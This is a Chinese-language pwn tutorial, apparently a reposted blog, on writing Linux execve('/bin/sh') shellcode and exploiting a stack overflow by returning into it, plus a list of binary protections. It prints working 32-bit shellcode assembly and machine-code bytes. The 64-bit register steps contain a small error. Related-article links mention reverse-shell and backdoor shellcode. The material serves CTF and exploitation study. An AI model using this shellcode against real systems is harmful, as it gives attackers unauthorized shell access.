pwn(2)-栈溢出下

这篇具有很好参考价值的文章主要介绍了pwn(2)-栈溢出下。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

32位shellcode编写

不同内核态操作通过给寄存器设置不同的值,在调用指令int 80h,就可以通知内核完成不同的功能。

只要我们通过特定的汇编代码把特定的寄存器设定为特定的值后,在调用int 80h执行sys_execve(“/bin/sh”,NULL,NULL)就可以获得shell了;

通过https://syscalls32.paolostivanin.com/查询系统调用。

pwn(2)-栈溢出下

网站给出了需要设置的eax的值及其他。

编写方法

1.eax设为0xb

2.ebx设为"/bin/sh"字符串的地址。ebx=&(“/bin/sh\x00”)

3.将ecx ,edx设为0

xor ecx,ecx;
xor edx,edx;
xor eax,eax;
mov al,0xb;
push ecx;
push 0x68732f2f;
push 0x6e69622f;
mov ebx,esp;
int 0x80;

转为机器码

31c931db31c0b00b51682f2f7368682f62696e89e3cd80

检验汇编是否正确

asm -r ""

pwn(2)-栈溢出下

64位编写

64位中调用的是syscall,不是int 0x80

64位程序传递参数不是直接通过栈,而是前六个参数通过寄存器,分别是RDI,RSI,RDX,RCX,R8,R9

第六个参数之后的参数才是通过栈传递

编写方法

1.RAX设为0x3b

2.RDI设为"/bin/sh"字符串的地址,RDI=&(“/bin/sh”)

3.把RSI,RDI设为0;

也可以通过pwntools自带shellcraft模块生成

shellcraft.sh()

默认产生32位shellcode,要产生64位要声明

context(os='linux',arch='amd64')
shellcraft.sh()

还可以取网站查找写好的

http://shell-storm.org/shellcode/

re2shellcode

函数执行完后,返回到shellcode的地址去执行shellcode。

局限:程序必须有内存执行权限

pwn(2)-栈溢出下

NX没有开,可以用

pwn(2)-栈溢出下

通过vmmap查找到内存中有很多可读可写可执行区域
pwn(2)-栈溢出下

buf在bss段的0804A080
pwn(2)-栈溢出下

而且这个位置可以用

pwn(2)-栈溢出下

先生成120字节的字符串,输入,cyclic -l找到对应的偏移量。执行脚本就拿到shell。

防御手段

chceksec

1.RELRO:开启后,无法修改got表

2.Stack:开启后,不能直接进行栈溢出

3.NX:开启后无法通过写shellcode的方法拿到shell权限

4.PIE:开启后,每次程序运行的地址都不一样。文章来源地址https://www.toymoban.com/news/detail-476110.html

到了这里,关于pwn(2)-栈溢出下的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)

    首先我们先将pwn文件下载下来,然后赋上可执行权限,再来查看pwn文件的保护信息。 我们可以看到这是一个32位的pwn文件,并且保护信息开启了NX和canary,也就是堆栈不可执行且有canary。最最最重要的是这个文件是statically linked!!!静态编译文件呀! 根据题目的提示,我们

    2024年02月13日
    浏览(38)
  • 驱动开发:内核ShellCode线程注入

    还记得 《驱动开发:内核LoadLibrary实现DLL注入》 中所使用的注入技术吗,我们通过 RtlCreateUserThread 函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入 ShellCode 代码实现反弹Shell,这里需要注意一般情况下 RtlCreateUserThread 需要传入两个最重要的

    2024年02月08日
    浏览(48)
  • 1.4 编写简易ShellCode弹窗

    在前面的章节中相信读者已经学会了使用 Metasploit 工具生成自己的 ShellCode 代码片段了,本章将继续深入探索关于 ShellCode 的相关知识体系,ShellCode 通常是指一个原始的可执行代码的有效载荷,攻击者通常会使用这段代码来获得被攻陷系统上的交互Shell的访问权限,而现在用于

    2024年02月11日
    浏览(36)
  • 1.6 编写双管道ShellCode

    本文将介绍如何将 CMD 绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的 ShellCode 后门

    2024年02月10日
    浏览(66)
  • 1.5 编写自定位ShellCode弹窗

    在笔者上一篇文章中简单的介绍了如何运用汇编语言编写一段弹窗代码,虽然简易 ShellCode 可以被正常执行,但却存在很多问题,由于采用了硬编址的方式来调用相应API函数的,那么就会存在一个很大的缺陷,如果操作系统的版本不统或系统重启过,那么基址将会发生变化,

    2024年02月11日
    浏览(477)
  • 1.6 编写双管道ShellCode后门

    本文将介绍如何将 CMD 绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的 ShellCode 后门

    2024年02月12日
    浏览(223)
  • 1.8 运用C编写ShellCode代码

    在笔者前几篇文章中,我们使用汇编语言并通过自定位的方法实现了一个简单的 MessageBox 弹窗功能,但由于汇编语言过于繁琐在编写效率上不仅要考验开发者的底层功底,还需要写出更多的指令集,这对于普通人来说是非常困难的,当然除了通过汇编来实现 ShellCode 的编写以

    2024年02月15日
    浏览(63)
  • [渗透测试]—7.1 漏洞利用开发和Shellcode编写

    在本章节中,我们将学习漏洞利用开发和Shellcode编写的基本概念和技巧。我们会尽量详细、通俗易懂地讲解,并提供尽可能多的实例。 漏洞利用开发是渗透测试中的高级技能。当你发现一个软件或系统存在漏洞时,你需要编写一段代码来利用这个漏洞,从而在目标系统上执行

    2024年02月11日
    浏览(46)
  • 网络攻防技术-Lab5-shellcode编写实验(SEED Labs – Shellcode Development Lab)

    网络攻防技术实验,实验环境、实验说明、实验代码见 Shellcode Development Lab 1) 编译mysh.s得到二进制文件 2) 执行 1)中的二进制文件 ,结果如下图, 我们 看到运行mysh之前的PID与运行mysh之后的PID是不同的,证明我们通过mysh启动了一个新的shell。 3) 获取机器码,以便进一步

    2023年04月13日
    浏览(40)
  • Windows系统内核溢出漏洞提权

    目录  Windows内核溢出漏洞原理 溢出漏洞简介 什么是缓冲区 缓冲区溢出 缓冲区溢出目的 Windows内核溢出漏洞利用流程 提权实战思路 手工提权测试 辅助提权 EXP如何寻找 使用MSF提权 关于提权时可能遇到的问题 如果提权的时候发现无法执行命令的话,可以上传一个cmd.exe到可读

    2024年02月07日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包